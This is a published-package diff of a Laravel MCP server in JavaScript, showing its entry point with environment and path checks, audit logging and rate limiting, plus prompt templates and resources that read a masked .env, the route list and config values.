@falzz1010/laravel-mcp-server 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +100 -0
- package/LICENSE +21 -0
- package/README.md +866 -0
- package/build/index.d.ts +2 -0
- package/build/index.d.ts.map +1 -0
- package/build/index.js +101 -0
- package/build/index.js.map +1 -0
- package/build/prompts/laravel-prompts.d.ts +4 -0
- package/build/prompts/laravel-prompts.d.ts.map +1 -0
- package/build/prompts/laravel-prompts.js +81 -0
- package/build/prompts/laravel-prompts.js.map +1 -0
- package/build/resources/laravel-info.d.ts +4 -0
- package/build/resources/laravel-info.d.ts.map +1 -0
- package/build/resources/laravel-info.js +99 -0
- package/build/resources/laravel-info.js.map +1 -0
- package/build/tests/full-security-audit.test.d.ts +2 -0
- package/build/tests/full-security-audit.test.d.ts.map +1 -0
- package/build/tests/full-security-audit.test.js +226 -0
- package/build/tests/full-security-audit.test.js.map +1 -0
- package/build/tests/security.test.d.ts +2 -0
- package/build/tests/security.test.d.ts.map +1 -0
- package/build/tests/security.test.js +124 -0
- package/build/tests/security.test.js.map +1 -0
- package/build/tools/list-routes.d.ts +4 -0
- package/build/tools/list-routes.d.ts.map +1 -0
- package/build/tools/list-routes.js +68 -0
- package/build/tools/list-routes.js.map +1 -0
- package/build/tools/read-env.d.ts +4 -0
- package/build/tools/read-env.d.ts.map +1 -0
- package/build/tools/read-env.js +51 -0
- package/build/tools/read-env.js.map +1 -0
- package/build/tools/read-file.d.ts +4 -0
- package/build/tools/read-file.d.ts.map +1 -0
- package/build/tools/read-file.js +60 -0
- package/build/tools/read-file.js.map +1 -0
- package/build/tools/read-logs.d.ts +4 -0
- package/build/tools/read-logs.d.ts.map +1 -0
- package/build/tools/read-logs.js +60 -0
- package/build/tools/read-logs.js.map +1 -0
- package/build/tools/run-artisan.d.ts +5 -0
- package/build/tools/run-artisan.d.ts.map +1 -0
- package/build/tools/run-artisan.js +130 -0
- package/build/tools/run-artisan.js.map +1 -0
- package/build/tools/run-tinker.d.ts +4 -0
- package/build/tools/run-tinker.d.ts.map +1 -0
- package/build/tools/run-tinker.js +75 -0
- package/build/tools/run-tinker.js.map +1 -0
- package/build/tools/write-file.d.ts +4 -0
- package/build/tools/write-file.d.ts.map +1 -0
- package/build/tools/write-file.js +103 -0
- package/build/tools/write-file.js.map +1 -0
- package/build/utils/audit.d.ts +23 -0
- package/build/utils/audit.d.ts.map +1 -0
- package/build/utils/audit.js +52 -0
- package/build/utils/audit.js.map +1 -0
- package/build/utils/config.d.ts +12 -0
- package/build/utils/config.d.ts.map +1 -0
- package/build/utils/config.js +63 -0
- package/build/utils/config.js.map +1 -0
- package/build/utils/file.d.ts +8 -0
- package/build/utils/file.d.ts.map +1 -0
- package/build/utils/file.js +96 -0
- package/build/utils/file.js.map +1 -0
- package/build/utils/process.d.ts +16 -0
- package/build/utils/process.d.ts.map +1 -0
- package/build/utils/process.js +78 -0
- package/build/utils/process.js.map +1 -0
- package/build/utils/rate-limiter.d.ts +19 -0
- package/build/utils/rate-limiter.d.ts.map +1 -0
- package/build/utils/rate-limiter.js +57 -0
- package/build/utils/rate-limiter.js.map +1 -0
- package/build/utils/security.d.ts +23 -0
- package/build/utils/security.d.ts.map +1 -0
- package/build/utils/security.js +282 -0
- package/build/utils/security.js.map +1 -0
- package/package.json +61 -0
package/build/index.d.ts
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../src/index.ts"],"names":[],"mappings":""}
|
package/build/index.js
ADDED
|
@@ -0,0 +1,101 @@
|
|
|
1
|
+
import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js";
|
|
2
|
+
import { StdioServerTransport } from "@modelcontextprotocol/sdk/server/stdio.js";
|
|
3
|
+
import { parseConfig } from "./utils/config.js";
|
|
4
|
+
import { validateLaravelPath, checkEnvironment } from "./utils/security.js";
|
|
5
|
+
import { findPhpBinary, killAllChildren } from "./utils/process.js";
|
|
6
|
+
import { initAuditLogger, logAudit } from "./utils/audit.js";
|
|
7
|
+
import { RateLimiter } from "./utils/rate-limiter.js";
|
|
8
|
+
// Tools
|
|
9
|
+
import { registerRunArtisanTool } from "./tools/run-artisan.js";
|
|
10
|
+
import { registerReadLogsTool } from "./tools/read-logs.js";
|
|
11
|
+
import { registerListRoutesTool } from "./tools/list-routes.js";
|
|
12
|
+
import { registerReadEnvTool } from "./tools/read-env.js";
|
|
13
|
+
import { registerReadFileTool } from "./tools/read-file.js";
|
|
14
|
+
import { registerWriteFileTool } from "./tools/write-file.js";
|
|
15
|
+
import { registerRunTinkerTool } from "./tools/run-tinker.js";
|
|
16
|
+
// Resources & Prompts
|
|
17
|
+
import { registerLaravelResources } from "./resources/laravel-info.js";
|
|
18
|
+
import { registerLaravelPrompts } from "./prompts/laravel-prompts.js";
|
|
19
|
+
async function main() {
|
|
20
|
+
const config = parseConfig(process.argv);
|
|
21
|
+
// 1. Validate target directory is a valid Laravel project
|
|
22
|
+
try {
|
|
23
|
+
validateLaravelPath(config.laravelPath);
|
|
24
|
+
}
|
|
25
|
+
catch (err) {
|
|
26
|
+
console.error(`[FATAL ERROR] Invalid Laravel path: ${err.message}`);
|
|
27
|
+
process.exit(1);
|
|
28
|
+
}
|
|
29
|
+
// 2. Check environment safety (refuse to run in production)
|
|
30
|
+
try {
|
|
31
|
+
checkEnvironment(config.laravelPath);
|
|
32
|
+
}
|
|
33
|
+
catch (err) {
|
|
34
|
+
console.error(`[FATAL ERROR] ${err.message}`);
|
|
35
|
+
process.exit(1);
|
|
36
|
+
}
|
|
37
|
+
// 3. Verify PHP binary exists
|
|
38
|
+
try {
|
|
39
|
+
await findPhpBinary(config.phpBinary);
|
|
40
|
+
}
|
|
41
|
+
catch (err) {
|
|
42
|
+
console.error(`[FATAL ERROR] ${err.message}`);
|
|
43
|
+
process.exit(1);
|
|
44
|
+
}
|
|
45
|
+
// 4. Initialize Audit Logger
|
|
46
|
+
const sessionId = initAuditLogger(config.laravelPath);
|
|
47
|
+
console.error(`[INFO] Laravel MCP Server initialized.`);
|
|
48
|
+
console.error(`[INFO] Session ID: ${sessionId}`);
|
|
49
|
+
console.error(`[INFO] Target Project: ${config.laravelPath}`);
|
|
50
|
+
console.error(`[INFO] Write Access: ${config.allowWrite ? "ENABLED" : "DISABLED"}`);
|
|
51
|
+
console.error(`[INFO] Tinker Access: ${config.allowTinker ? "ENABLED" : "DISABLED"}`);
|
|
52
|
+
if (config.dryRun) {
|
|
53
|
+
console.error(`[INFO] Dry-Run Mode: ENABLED (No commands will be executed)`);
|
|
54
|
+
}
|
|
55
|
+
// 5. Initialize Rate Limiter
|
|
56
|
+
const rateLimiter = new RateLimiter({
|
|
57
|
+
maxRequestsPerMinute: config.rateLimit,
|
|
58
|
+
maxRequestsPerHour: 500,
|
|
59
|
+
cooldownMs: 2000,
|
|
60
|
+
});
|
|
61
|
+
// 6. Initialize McpServer
|
|
62
|
+
const server = new McpServer({
|
|
63
|
+
name: "laravel-mcp-server",
|
|
64
|
+
version: "1.0.0",
|
|
65
|
+
});
|
|
66
|
+
// 7. Register Tools
|
|
67
|
+
registerRunArtisanTool(server, config, rateLimiter);
|
|
68
|
+
registerReadLogsTool(server, config);
|
|
69
|
+
registerListRoutesTool(server, config);
|
|
70
|
+
registerReadEnvTool(server, config);
|
|
71
|
+
registerReadFileTool(server, config);
|
|
72
|
+
registerWriteFileTool(server, config);
|
|
73
|
+
registerRunTinkerTool(server, config);
|
|
74
|
+
// 8. Register Resources & Prompts
|
|
75
|
+
registerLaravelResources(server, config);
|
|
76
|
+
registerLaravelPrompts(server, config);
|
|
77
|
+
// 9. Connect Transport
|
|
78
|
+
const transport = new StdioServerTransport();
|
|
79
|
+
// Handle graceful shutdown
|
|
80
|
+
const shutdown = async (signal) => {
|
|
81
|
+
console.error(`[INFO] Received ${signal}, shutting down server...`);
|
|
82
|
+
logAudit({
|
|
83
|
+
tool: "server_shutdown",
|
|
84
|
+
tier: "READ_ONLY",
|
|
85
|
+
status: "ALLOWED",
|
|
86
|
+
reason: `Signal ${signal}`,
|
|
87
|
+
});
|
|
88
|
+
killAllChildren();
|
|
89
|
+
process.exit(0);
|
|
90
|
+
};
|
|
91
|
+
process.on("SIGINT", () => shutdown("SIGINT"));
|
|
92
|
+
process.on("SIGTERM", () => shutdown("SIGTERM"));
|
|
93
|
+
await server.connect(transport);
|
|
94
|
+
console.error("[INFO] Laravel MCP Server running on stdio transport.");
|
|
95
|
+
}
|
|
96
|
+
main().catch((err) => {
|
|
97
|
+
console.error("[FATAL SERVER ERROR]", err);
|
|
98
|
+
killAllChildren();
|
|
99
|
+
process.exit(1);
|
|
100
|
+
});
|
|
101
|
+
//# sourceMappingURL=index.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"index.js","sourceRoot":"","sources":["../src/index.ts"],"names":[],"mappings":"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"}
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"laravel-prompts.d.ts","sourceRoot":"","sources":["../../src/prompts/laravel-prompts.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,SAAS,EAAE,MAAM,yCAAyC,CAAC;AAEpE,OAAO,EAAE,YAAY,EAAE,MAAM,oBAAoB,CAAC;AAIlD,wBAAgB,sBAAsB,CAAC,MAAM,EAAE,SAAS,EAAE,MAAM,EAAE,YAAY,GAAG,IAAI,CA0FpF"}
|
|
@@ -0,0 +1,81 @@
|
|
|
1
|
+
import { z } from "zod";
|
|
2
|
+
import { findLogFile, readLastLines, readFileContent } from "../utils/file.js";
|
|
3
|
+
import { isPathSafe } from "../utils/security.js";
|
|
4
|
+
export function registerLaravelPrompts(server, config) {
|
|
5
|
+
// 1. Prompt: debug-error
|
|
6
|
+
server.registerPrompt("debug-error", {
|
|
7
|
+
description: "Reads recent Laravel error log entries and asks the AI to analyze the cause and solution.",
|
|
8
|
+
argsSchema: {
|
|
9
|
+
lines: z.string().optional().describe("Number of log lines to inspect (default: 50)"),
|
|
10
|
+
},
|
|
11
|
+
}, async ({ lines = "50" }) => {
|
|
12
|
+
let logContent = "";
|
|
13
|
+
try {
|
|
14
|
+
const lineCount = parseInt(lines, 10) || 50;
|
|
15
|
+
const logFile = await findLogFile(config.laravelPath);
|
|
16
|
+
logContent = await readLastLines(logFile, lineCount);
|
|
17
|
+
}
|
|
18
|
+
catch (err) {
|
|
19
|
+
logContent = `Could not read log file: ${err.message}`;
|
|
20
|
+
}
|
|
21
|
+
return {
|
|
22
|
+
messages: [
|
|
23
|
+
{
|
|
24
|
+
role: "user",
|
|
25
|
+
content: {
|
|
26
|
+
type: "text",
|
|
27
|
+
text: `Here are the latest log entries from the Laravel application:\n\n\`\`\`\n${logContent}\n\`\`\`\n\nPlease analyze the errors, identify the root cause, and provide a step-by-step fix including code snippets or artisan commands required.`,
|
|
28
|
+
},
|
|
29
|
+
},
|
|
30
|
+
],
|
|
31
|
+
};
|
|
32
|
+
});
|
|
33
|
+
// 2. Prompt: create-crud
|
|
34
|
+
server.registerPrompt("create-crud", {
|
|
35
|
+
description: "Generates instructions to create a complete CRUD (Model, Migration, Controller, Request, Routes) for an entity.",
|
|
36
|
+
argsSchema: {
|
|
37
|
+
model_name: z.string().describe("Name of the model in PascalCase (e.g. 'Product', 'OrderItem')"),
|
|
38
|
+
fields: z.string().describe("Comma-separated list of fields and types (e.g. 'title:string, price:decimal, status:enum')"),
|
|
39
|
+
},
|
|
40
|
+
}, async ({ model_name, fields }) => {
|
|
41
|
+
return {
|
|
42
|
+
messages: [
|
|
43
|
+
{
|
|
44
|
+
role: "user",
|
|
45
|
+
content: {
|
|
46
|
+
type: "text",
|
|
47
|
+
text: `I need to create a complete CRUD in my Laravel application for entity: **${model_name}**.\nFields: ${fields}\n\nPlease generate:\n1. Artisan command to create Model with Migration and Controller\n2. Migration schema code\n3. Model mass assignment & relationships\n4. Resource Controller code (index, store, show, update, destroy)\n5. Form Request validation rules\n6. Route definitions for routes/api.php or routes/web.php`,
|
|
48
|
+
},
|
|
49
|
+
},
|
|
50
|
+
],
|
|
51
|
+
};
|
|
52
|
+
});
|
|
53
|
+
// 3. Prompt: review-code
|
|
54
|
+
server.registerPrompt("review-code", {
|
|
55
|
+
description: "Reads a Laravel source code file and requests a security, performance, and best practices code review.",
|
|
56
|
+
argsSchema: {
|
|
57
|
+
file_path: z.string().describe("Relative path to source file (e.g. 'app/Http/Controllers/ProductController.php')"),
|
|
58
|
+
},
|
|
59
|
+
}, async ({ file_path }) => {
|
|
60
|
+
let content = "";
|
|
61
|
+
try {
|
|
62
|
+
const safePath = isPathSafe(file_path, config.laravelPath);
|
|
63
|
+
content = await readFileContent(safePath);
|
|
64
|
+
}
|
|
65
|
+
catch (err) {
|
|
66
|
+
content = `Could not read file: ${err.message}`;
|
|
67
|
+
}
|
|
68
|
+
return {
|
|
69
|
+
messages: [
|
|
70
|
+
{
|
|
71
|
+
role: "user",
|
|
72
|
+
content: {
|
|
73
|
+
type: "text",
|
|
74
|
+
text: `Please perform a comprehensive code review for the following Laravel file (\`${file_path}\`):\n\n\`\`\`php\n${content}\n\`\`\`\n\nEvaluate:\n1. Laravel conventions & best practices (Repository pattern, Form Requests, Resources)\n2. Security vulnerabilities (SQL Injection, XSS, CSRF, Mass Assignment)\n3. Performance bottlenecks (N+1 queries, unindexed columns, heavy loops)\n4. Refactoring recommendations with concrete code blocks.`,
|
|
75
|
+
},
|
|
76
|
+
},
|
|
77
|
+
],
|
|
78
|
+
};
|
|
79
|
+
});
|
|
80
|
+
}
|
|
81
|
+
//# sourceMappingURL=laravel-prompts.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"laravel-prompts.js","sourceRoot":"","sources":["../../src/prompts/laravel-prompts.ts"],"names":[],"mappings":"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"}
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"laravel-info.d.ts","sourceRoot":"","sources":["../../src/resources/laravel-info.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,SAAS,EAAoB,MAAM,yCAAyC,CAAC;AAEtF,OAAO,EAAE,YAAY,EAAE,MAAM,oBAAoB,CAAC;AAMlD,wBAAgB,wBAAwB,CAAC,MAAM,EAAE,SAAS,EAAE,MAAM,EAAE,YAAY,GAAG,IAAI,CAiHtF"}
|
|
@@ -0,0 +1,99 @@
|
|
|
1
|
+
import { ResourceTemplate } from "@modelcontextprotocol/sdk/server/mcp.js";
|
|
2
|
+
import path from "node:path";
|
|
3
|
+
import { readFileContent } from "../utils/file.js";
|
|
4
|
+
import { maskEnvValues } from "../utils/security.js";
|
|
5
|
+
import { runArtisan } from "../utils/process.js";
|
|
6
|
+
import { logAudit } from "../utils/audit.js";
|
|
7
|
+
export function registerLaravelResources(server, config) {
|
|
8
|
+
// 1. Static Resource: laravel://env
|
|
9
|
+
server.registerResource("laravel_env", "laravel://env", {
|
|
10
|
+
title: "Laravel .env File (Masked)",
|
|
11
|
+
description: "Static read-only view of the Laravel .env configuration file with masked credentials.",
|
|
12
|
+
mimeType: "text/plain",
|
|
13
|
+
}, async (uri) => {
|
|
14
|
+
const envPath = path.join(config.laravelPath, ".env");
|
|
15
|
+
try {
|
|
16
|
+
const raw = await readFileContent(envPath);
|
|
17
|
+
const masked = maskEnvValues(raw);
|
|
18
|
+
logAudit({
|
|
19
|
+
tool: "resource://laravel_env",
|
|
20
|
+
tier: "READ_ONLY",
|
|
21
|
+
status: "ALLOWED",
|
|
22
|
+
});
|
|
23
|
+
return {
|
|
24
|
+
contents: [
|
|
25
|
+
{
|
|
26
|
+
uri: uri.href,
|
|
27
|
+
mimeType: "text/plain",
|
|
28
|
+
text: masked,
|
|
29
|
+
},
|
|
30
|
+
],
|
|
31
|
+
};
|
|
32
|
+
}
|
|
33
|
+
catch (err) {
|
|
34
|
+
return {
|
|
35
|
+
contents: [
|
|
36
|
+
{
|
|
37
|
+
uri: uri.href,
|
|
38
|
+
mimeType: "text/plain",
|
|
39
|
+
text: `Error reading .env: ${err.message}`,
|
|
40
|
+
},
|
|
41
|
+
],
|
|
42
|
+
};
|
|
43
|
+
}
|
|
44
|
+
});
|
|
45
|
+
// 2. Static Resource: laravel://routes
|
|
46
|
+
server.registerResource("laravel_routes", "laravel://routes", {
|
|
47
|
+
title: "Laravel Defined Routes",
|
|
48
|
+
description: "Static view of all application routes in JSON format.",
|
|
49
|
+
mimeType: "application/json",
|
|
50
|
+
}, async (uri) => {
|
|
51
|
+
const result = await runArtisan("route:list", ["--json"], {
|
|
52
|
+
laravelPath: config.laravelPath,
|
|
53
|
+
phpBinary: config.phpBinary,
|
|
54
|
+
timeoutMs: config.commandTimeout,
|
|
55
|
+
});
|
|
56
|
+
logAudit({
|
|
57
|
+
tool: "resource://laravel_routes",
|
|
58
|
+
tier: "READ_ONLY",
|
|
59
|
+
status: result.exitCode === 0 ? "ALLOWED" : "ERROR",
|
|
60
|
+
});
|
|
61
|
+
return {
|
|
62
|
+
contents: [
|
|
63
|
+
{
|
|
64
|
+
uri: uri.href,
|
|
65
|
+
mimeType: "application/json",
|
|
66
|
+
text: result.stdout || "[]",
|
|
67
|
+
},
|
|
68
|
+
],
|
|
69
|
+
};
|
|
70
|
+
});
|
|
71
|
+
// 3. Dynamic Resource Template: laravel://config/{key}
|
|
72
|
+
server.registerResource("laravel_config_key", new ResourceTemplate("laravel://config/{key}", { list: undefined }), {
|
|
73
|
+
title: "Laravel Config Key Lookup",
|
|
74
|
+
description: "Retrieve a specific configuration value (e.g. app.name, database.default)",
|
|
75
|
+
mimeType: "application/json",
|
|
76
|
+
}, async (uri, { key }) => {
|
|
77
|
+
const keyStr = Array.isArray(key) ? key[0] : key;
|
|
78
|
+
const result = await runArtisan("config:show", [keyStr], {
|
|
79
|
+
laravelPath: config.laravelPath,
|
|
80
|
+
phpBinary: config.phpBinary,
|
|
81
|
+
timeoutMs: config.commandTimeout,
|
|
82
|
+
});
|
|
83
|
+
logAudit({
|
|
84
|
+
tool: `resource://laravel_config/${keyStr}`,
|
|
85
|
+
tier: "READ_ONLY",
|
|
86
|
+
status: result.exitCode === 0 ? "ALLOWED" : "ERROR",
|
|
87
|
+
});
|
|
88
|
+
return {
|
|
89
|
+
contents: [
|
|
90
|
+
{
|
|
91
|
+
uri: uri.href,
|
|
92
|
+
mimeType: "application/json",
|
|
93
|
+
text: JSON.stringify({ key: keyStr, value: result.stdout.trim() }),
|
|
94
|
+
},
|
|
95
|
+
],
|
|
96
|
+
};
|
|
97
|
+
});
|
|
98
|
+
}
|
|
99
|
+
//# sourceMappingURL=laravel-info.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
